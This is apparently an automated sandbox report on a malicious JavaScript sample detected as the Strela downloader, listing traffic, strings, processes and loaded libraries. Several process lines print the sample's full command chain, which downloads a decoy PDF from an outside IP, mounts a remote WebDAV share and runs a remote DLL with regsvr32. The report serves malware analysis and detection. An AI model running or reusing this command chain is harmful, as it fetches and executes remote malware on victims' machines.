HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2132576274.000002246040A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2208719471.000001A889D48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2208719471.000001A889D9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2208719471.000001A889D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2208719471.000001A889D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000007.00000002.2208719471.000001A889D48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3422423732.00000116B7000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2218730139.00000116B6DB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6420, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 867419171264419639.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1908:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3cvizox.emm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,17562366953843885793,6195300308497271525,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,17562366953843885793,6195300308497271525,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
